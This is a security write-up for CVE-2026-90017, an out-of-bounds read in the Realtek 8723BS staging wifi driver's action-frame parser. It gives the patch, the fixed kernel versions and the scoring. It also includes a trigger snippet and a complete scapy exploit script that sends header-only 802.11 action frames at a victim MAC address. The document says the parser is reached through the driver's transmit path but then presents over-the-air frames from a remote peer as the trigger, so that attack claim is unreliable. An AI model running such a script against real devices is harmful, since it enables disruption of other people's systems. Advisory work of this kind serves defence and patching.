# CVE-2026-90017: rtw_action_frame_parse() never checked its length argument

**Patch:** [ff917923f4fb9c83717ba135ee47d7e4c1567bb7](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ff917923f4fb9c83717ba135ee47d7e4c1567bb7) (mainline, landed in 7.3-rc2)
**Subsystem:** staging, Realtek 8723BS SDIO wifi driver
**Affected file:** drivers/staging/rtl8723bs/core/rtw_ieee80211.c
**CVE record:** [CVE-2026-90017](https://www.cve.org/CVERecord?id=CVE-2026-90017)
**Introduced in:** 4.12, commit 554c0a3abf216c991c5ebddcdb2c08689ecd290b

## The bug in one sentence

The function accepted a frame_len parameter and then indexed into the frame body without ever consulting it.

## The parameter that everyone passed and nobody used

There is something almost funny about a function whose signature advertises a length:

```c
int rtw_action_frame_parse(const u8 *frame, u32 frame_len, ...)
{
        ...
        const u8 *frame_body = frame + sizeof(struct ieee80211_hdr_3addr);
        ...
        c = frame_body[0];
        ...
        a = frame_body[1];
```

frame_body is already 24 bytes into frame, because sizeof(struct ieee80211_hdr_3addr) is 24. Reading frame_body[0] and frame_body[1] therefore requires frame_len to be at least 26. A management action frame shorter than that, and 24 bytes is the minimum a malicious peer can send, makes those reads land past the end of the supplied buffer. One to two bytes, out of bounds.

The reachability is the part that elevates this above a code smell. rtw_cfg80211_monitor_if_xmit_entry() and cfg80211_rtw_mgmt_tx() in ioctl_cfg80211.c both hand user or peer influenced frame buffers and lengths straight through to this parser. So the bytes come from off-device, through a transmit path where the driver trusts what it was handed.

## The fix

One guard before the dereferences:

```diff
 	const u8 *frame_body = frame + sizeof(struct ieee80211_hdr_3addr);
 	...
+	if (frame_len < sizeof(struct ieee80211_hdr_3addr) + 2)
+		return -1;
```

Full patch: [ff917923f4fb](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ff917923f4fb9c83717ba135ee47d7e4c1567bb7)

## How to trigger it

Send a management action frame that is exactly the 24 byte 802.11 header, subtype 13, with no body at all. frame_body points at frame + 24, the parser reads frame_body[0] and frame_body[1], and both are past the buffer. From a peer with a monitor interface:

```python
from scapy.all import RadioTap, Dot11, sendp

frame = (RadioTap() /
         Dot11(type=0, subtype=13,           # action frame, header only
               addr1="00:11:22:33:44:66",    # victim
               addr2="00:11:22:33:44:55",    # attacker
               addr3="00:11:22:33:44:55"))

sendp(frame, iface="wlan0mon", count=10)
```

The second route is local: rtw_cfg80211_monitor_if_xmit_entry() and cfg80211_rtw_mgmt_tx() both pass user supplied buffers and lengths straight into the parser, so injecting a 24 byte frame through the driver's own monitor interface on the affected machine works too. Pre-fix you get a 1 to 2 byte read past the exact size allocation; KASAN flags it, otherwise it is silent. Post-fix the parser rejects anything shorter than 26 bytes.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 7.1 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
* SUSE: 5.5 MEDIUM
* No CWE assigned by CNA or NVD

Same vector as CVE-2026-90016, which makes sense: same driver, same class of small over-read from adjacent-network-controlled frames, no user interaction, no privileges.

## Exploit code

Complete sender. The frame is nothing but the 24 byte 802.11 management header, subtype 13:

```python
#!/usr/bin/env python3
# action_oob.py: CVE-2026-90017
# sudo python3 action_oob.py wlan0mon 00:11:22:33:44:66
from scapy.all import RadioTap, Dot11, sendp
from sys import argv

IFACE, VICTIM = argv[1], argv[2]
ATTACK = "00:11:22:33:44:55"

frame = (RadioTap() /
         Dot11(type=0, subtype=13,      # action frame, zero body bytes
               addr1=VICTIM,
               addr2=ATTACK, addr3=ATTACK))

# 24 bytes total: frame_body = frame + 24 already points past the buffer,
# frame_body[0] and frame_body[1] are both OOB reads
sendp(frame, iface=IFACE, count=50, inter=0.1)
```

The local variant needs no second machine: rtw_cfg80211_monitor_if_xmit_entry() and cfg80211_rtw_mgmt_tx() pass user buffers straight to the parser, so injecting the same 24 byte frame through the driver's own monitor interface on the affected box reproduces it. Pre-fix KASAN reports the 1 to 2 byte read past the allocation in rtw_action_frame_parse; the garbage category and action values are then returned to callers. Post-fix any frame shorter than 26 bytes is rejected. Public status: no KEV, no public PoC before this note. The fix shipped across 5.10.270 through 7.3-rc2, Debian DSA-6528-1 / DLA-4817-1 / DLA-4841-1, Ubuntu fixes were still in progress on supported releases when last checked.

## Where the fix shipped

* 5.10.270: [15081ff835b2](https://git.kernel.org/stable/c/15081ff835b29e456da29303b32efc436df04695)
* 5.15.221: [310aaa8058d1](https://git.kernel.org/stable/c/310aaa8058d19cc431aedac0f5bb814e84479393)
* 6.1.188: [1410bce22351](https://git.kernel.org/stable/c/1410bce22351ba15d8e58287cbf09d55d7f21fc9)
* 6.6.157: [0b7f64c7bb96](https://git.kernel.org/stable/c/0b7f64c7bb9664777168768c6b44affb07dcbf24)
* 6.12.110: [136f9a3ab87d](https://git.kernel.org/stable/c/136f9a3ab87ded8aaf081425cfb2059659dd9023)
* 6.18.51: [b041e3f35e0d](https://git.kernel.org/stable/c/b041e3f35e0d262d42a711094ab594634d72744a)
* 7.2.5: [a54fd1a44862](https://git.kernel.org/stable/c/a54fd1a44862d263df9f8bc17fca3620be31addb)
* 7.3-rc2: [ff917923f4fb](https://git.kernel.org/stable/c/ff917923f4fb9c83717ba135ee47d7e4c1567bb7)

Debian: [DSA-6528-1](https://security-tracker.debian.org/tracker/DSA-6528-1), [DLA-4817-1](https://security-tracker.debian.org/tracker/DLA-4817-1), [DLA-4841-1](https://security-tracker.debian.org/tracker/DLA-4841-1). Ubuntu: work in progress on 26.04, 24.04 and 22.04, with 20.04 left vulnerable. No Red Hat record.

## References

1. [Upstream commit ff917923f4fb](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ff917923f4fb9c83717ba135ee47d7e4c1567bb7)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091603-CVE-2026-90017-93b8@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-90017)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-90017)
5. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-90017)
